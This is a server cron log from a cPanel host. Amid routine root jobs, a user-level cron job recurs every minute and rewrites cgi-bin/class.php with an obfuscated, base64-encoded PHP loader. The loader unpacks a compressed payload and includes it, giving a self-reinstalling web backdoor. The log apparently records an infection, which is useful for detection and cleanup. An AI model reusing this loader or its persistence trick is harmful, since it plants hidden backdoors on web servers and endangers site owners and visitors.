Nov 14 08:16:01 server CROND[14359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:17:01 server CROND[15035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:18:01 server CROND[15919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:19:01 server CROND[16802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:20:01 server CROND[17787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:20:01 server CROND[17788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 08:20:01 server CROND[17790]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 08:20:01 server CROND[17791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:20:01 server CROND[17789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:21:01 server CROND[18724]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:22:01 server CROND[19531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:23:01 server CROND[20394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:24:01 server CROND[21278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:25:01 server CROND[22144]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:25:01 server CROND[22147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:25:01 server CROND[22146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:25:01 server CROND[22148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:26:01 server CROND[23157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:27:01 server CROND[24027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:27:01 server CROND[24028]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 08:28:01 server CROND[24896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
